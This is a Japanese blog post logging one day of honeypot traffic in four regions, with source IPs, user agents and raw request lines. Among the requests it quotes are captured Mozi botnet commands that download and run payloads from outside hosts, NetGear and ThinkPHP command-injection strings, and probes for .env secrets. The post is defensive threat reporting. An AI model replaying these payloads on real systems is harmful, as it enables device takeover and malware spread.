コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2021/05/02 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2021/05/02分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為

Location：JP

Anarchy99によるスキャン行為
Apache Tomcatへのスキャン行為
WordPressへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//178[.]175[.]82[.]160:37816/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location：US

UserAgentがHello, Worldであるアクセス を確認しました。

Location：UK

NetGear製品の脆弱性を狙うアクセス
libwww-perlによるスキャン行為
Apache Tomcatへのスキャン行為
phpMyAdminへのスキャン行為
WordPressへのスキャン行為
110[.]242[.]68[.]4に関する不正通信
112[.]124[.]42[.]80に関する不正通信
Gh0stRATのような動き
を確認しました。

Location：SG

NetGear製品の脆弱性を狙うアクセス
Anarchy99によるスキャン行為
110[.]242[.]68[.]4に関する不正通信
112[.]124[.]42[.]80に関する不正通信
を確認しました。

他
アクセス数推移

JP：総アクセス数：47 (前日比：-13)
US：総アクセス数：52 (前日比：-5)
UK：総アクセス数：191 (前日比：+87)
SG：総アクセス数：58 (前日比：+15)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 45.143.147.173 United States
11 45.155.205.84 Russia
3 47.110.239.250 China
1 61.219.11.153 Taiwan
1 64.227.106.142 United States
1 68.183.2.72 United States
1 75.119.143.230 Germany
1 84.17.59.70 United Kingdom
5 94.232.47.170 Russia
1 104.131.91.82 United States
4 132.145.151.103 United States
2 132.145.196.125 United States
1 142.93.142.15 United States
1 172.104.242.173 United States
1 178.175.82.160 Albania
1 185.166.241.31 Russia
2 185.233.186.56 Russia
1 190.107.177.55 Chile
1 192.241.215.152 United States
1 193.46.255.97 Romania
1 196.64.149.39 Morocco
3 209.141.33.74 United States
2 209.141.51.242 United States

UserAgent一覧

件数 UserAgent
10 -
1 Anarchy99
1 Hello, world
3 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
3 Mozilla/5.0 zgrab/0.x
1 python-requests/2.18.4

リクエスト内容一覧

件数 Method Request Protocol
1 -
5 \x03
1 \x16\x03\x01\x01\xfa\x01
12 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
2 GET /cgi-bin/config.exp HTTP/1.1
2 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /jenkins/login HTTP/1.1
1 GET /login HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//178[.]175[.]82[.]160:37816/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /wp-login.php HTTP/1.1
1 HEAD / HTTP/1.0
1 HEAD /robots.txt HTTP/1.0
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /_ignition/execute-solution HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
3 POST /boaform/admin/formLogin HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 \xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159 X\xd4>\x12\x98\xc4<\xe0\x13\xcf
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 13.82.126.217 United States
1 45.73.155.207 United States
1 45.143.147.173 United States
22 45.155.205.84 Russia
1 45.229.54.3 Brazil
1 46.101.237.166 United States
1 75.119.143.230 Germany
1 80.82.78.39 United Kingdom
1 89.248.170.22 United Kingdom
2 91.241.19.99 Russia
5 94.232.47.170 Russia
1 115.63.131.1 China
1 142.93.142.15 United States
2 158.101.108.23 United States
3 163.172.168.251 United Kingdom
2 179.60.150.48 United Kingdom
1 183.136.225.14 China
1 185.233.186.56 Russia
1 193.46.255.97 Romania
2 209.141.33.74 United States
1 209.141.51.242 United States

UserAgent一覧

件数 UserAgent
14 -
1 Hello, World
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 OPR/57.0.3098.116
22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
5 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.0 zgrab/0.x
1 python-requests/2.18.4

リクエスト内容一覧

件数 Method Request Protocol
7 \x03
1 \x16\x03\x01
1 \x16\x03\x01\x01\xfb\x01
1 27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0
1 CONNECT www[.]bing[.]com/:443 HTTP/1.1
5 GET /.env HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
3 GET /_ignition/execute-solution HTTP/1.1
1 GET /cgi-bin/config.exp HTTP/1.1
1 GET /config/getuser?index=0 HTTP/1.1
2 GET /console/ HTTP/1.1
2 GET /favicon.ico HTTP/1.1
2 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /robots.txt HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET http[:]//www[.]bing[.]com/ HTTP/1.1
2 HEAD / HTTP/1.0
1 HEAD /robots.txt HTTP/1.0
2 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
2 POST /api/jsonws/invoke HTTP/1.1
2 POST /boaform/admin/formLogin HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST http[:]//karengarner[.]website/e9fe8ee5ada9c8bf4ca902cf8a7e6c733834e23eb7efc848819fbe341903139b11903ce2e44aa3919127cb572588a226a5c1d796c1585fe04b789b98a3c0ef8aa4a1a72a8c49fcbfc27449219f2db5b13b188d246a4b273e7b8c3166b0085da1 HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 36.5.69.230 China
22 45.155.205.84 Russia
1 54.83.168.217 United States
1 58.248.74.86 China
1 60.13.7.151 China
1 60.191.125.35 China
1 61.52.84.145 China
1 61.219.11.153 Taiwan
1 66.240.205.34 United States
7 68.183.32.218 United States
1 75.119.143.230 Germany
1 80.82.78.39 United Kingdom
1 89.248.170.22 United Kingdom
2 91.241.19.99 Russia
5 94.232.47.170 Russia
1 112.171.130.213 South Korea
1 113.128.105.203 China
1 116.68.110.210 India
1 119.39.46.70 China
1 120.85.111.147 China
1 120.85.111.238 China
2 120.230.206.63 China
1 122.228.19.80 China
1 123.14.117.143 China
1 125.36.254.53 China
2 128.199.37.62 United Kingdom
2 138.68.141.169 United States
101 138.219.200.131 Brazil
12 158.101.108.23 United States
1 167.86.99.201 Germany
2 172.104.242.173 United States
1 175.184.166.102 China
1 183.136.225.14 China
2 185.233.186.56 Russia
1 192.241.218.195 United States
4 209.141.33.74 United States
2 209.141.51.242 United States
1 221.13.12.93 China
1 221.13.12.108 China

UserAgent一覧

件数 UserAgent
18 -
1 Cloud mapping experiment. Contact research@pdrlabs.net
7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
6 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
101 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3464.0 Safari/537.36
22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
4 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
2 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
12 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
3 Mozilla/5.0 zgrab/0.x
1 Mozilla/5.01712517 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
4 PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
1 libwww-perl/6.05

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 Gh0st\xad
7 \x03
1 \x16\x03\x01
1 CONNECT cn[.]bing[.]com/:443 HTTP/1.1
1 CONNECT www[.]baidu[.]com/:443 HTTP/1.1
1 CONNECT www[.]so[.]com/:443 HTTP/1.1
1 CONNECT www[.]voanews[.]com/:443 HTTP/1.1
14 GET /.env HTTP/1.1
1 GET /000123145214.cfg HTTP/1.1
1 GET /0bef HTTP/1.0
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=__HelloThinkPHP HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
1 GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
2 GET /cgi-bin/config.exp HTTP/1.1
1 GET /clientaccesspolicy.xml HTTP/1.1
2 GET /config/getuser?index=0 HTTP/1.1
2 GET /console/ HTTP/1.1
4 GET /favicon.ico HTTP/1.1
2 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /jenkins/login HTTP/1.1
1 GET /login HTTP/1.1
2 GET /manager/html HTTP/1.1
101 GET /phpmyadmin/ HTTP/1.1
1 GET /phpmyadmin4.8.5/index.php HTTP/1.1
1 GET /pmd/index.php HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//123[.]14[.]117[.]143:39617/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//58[.]248[.]74[.]86:54636/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
2 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /wp-login.php HTTP/1.1
1 GET http[:]//dongtaiwang[.]com/ HTTP/1.1
1 GET http[:]//www[.]epochtimes[.]com/ HTTP/1.1
1 GET http[:]//www[.]minghui[.]org/ HTTP/1.1
1 GET http[:]//www[.]rfa[.]org/english/ HTTP/1.1
1 GET http[:]//www[.]soso[.]com/ HTTP/1.1
1 GET http[:]//www[.]wujieliulan[.]com/ HTTP/1.1
1 HEAD / HTTP/1.1
2 HEAD / HTTP/1.0
1 HEAD http[:]//110[.]242[.]68[.]4/ HTTP/1.1
1 HEAD http[:]//112[.]124[.]42[.]80:63435/ HTTP/1.1
2 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /_ignition/execute-solution HTTP/1.1
2 POST /api/jsonws/invoke HTTP/1.1
4 POST /boaform/admin/formLogin HTTP/1.1
3 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 \xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159 X\xd4>\x12\x98\xc4<\xe0\x13\xcf
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 1.85.218.33 China
1 1.85.218.94 China
10 1.116.223.165 China
1 34.204.199.74 United States
1 36.32.3.81 China
1 36.57.172.187 China
1 40.76.60.168 United States
22 45.155.205.84 Russia
1 60.191.125.35 China
1 64.227.106.142 United States
1 80.82.78.39 United Kingdom
1 123.191.157.65 China
1 123.245.25.127 China
1 123.245.25.214 China
1 125.72.95.230 China
1 159.89.20.101 United States
1 172.104.242.173 United States
2 185.233.186.56 Russia
1 193.46.255.97 Romania
1 209.141.33.74 United States
2 209.141.51.242 United States
3 212.47.244.68 France
1 213.163.118.17 Albania
1 221.0.18.131 China

UserAgent一覧

件数 UserAgent
6 -
1 Anarchy99
2 Go-http-client/1.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3; rv:52.2.0) Gecko/20100101 Firefox/52.2.0
5 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
9 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2 Mozilla/5.0 zgrab/0.x
1 Mozilla/5.01712517 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
3 PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3

リクエスト内容一覧

件数 Method Request Protocol
1 \x16\x03\x01
1 \x16\x03\x01\x01\xfb\x01
1 CONNECT cn[.]bing[.]com/:443 HTTP/1.1
1 CONNECT www[.]bing[.]com/:443 HTTP/1.1
1 CONNECT www[.]so[.]com/:443 HTTP/1.1
1 CONNECT www[.]voanews[.]com/:443 HTTP/1.1
2 GET /.env HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
1 GET /api/register/demo/demo HTTP/1.1
2 GET /cgi-bin/config.exp HTTP/1.1
2 GET /config/getuser?index=0 HTTP/1.1
2 GET /console/ HTTP/1.1
1 GET /elrekt.php HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET /index.php HTTP/1.1
2 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
1 GET /public/index.php HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//213[.]163[.]118[.]17:54558/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
2 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET http[:]//dongtaiwang[.]com/ HTTP/1.1
1 GET http[:]//www[.]bing[.]com/ HTTP/1.1
1 GET http[:]//www[.]epochtimes[.]com/ HTTP/1.1
1 GET http[:]//www[.]minghui[.]org/ HTTP/1.1
1 GET http[:]//www[.]rfa[.]org/english/ HTTP/1.1
1 GET http[:]//www[.]wujieliulan[.]com/ HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 HEAD http[:]//110[.]242[.]68[.]4/ HTTP/1.1
1 HEAD http[:]//112[.]124[.]42[.]80:63435/ HTTP/1.1
2 POST /Autodiscover/Autodiscover.xml HTTP/1.1
2 POST /api/jsonws/invoke HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /index.php?s=captcha HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST http[:]//raspberry[.]fun/35a28a78179508d919df81fb6e000bf346b0df58c84abcccea5367fbd430b32a429551c8710650314b9aa78c9dfee6723e53a2057dd92911d5431bab101a04b504d11d24476930d9d1ff8544f1a8abe9562392901bd3e86d059d5d236cebc52d HTTP/1.1
1 \xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159 X\xd4>\x12\x98\xc4<\xe0\x13\xcf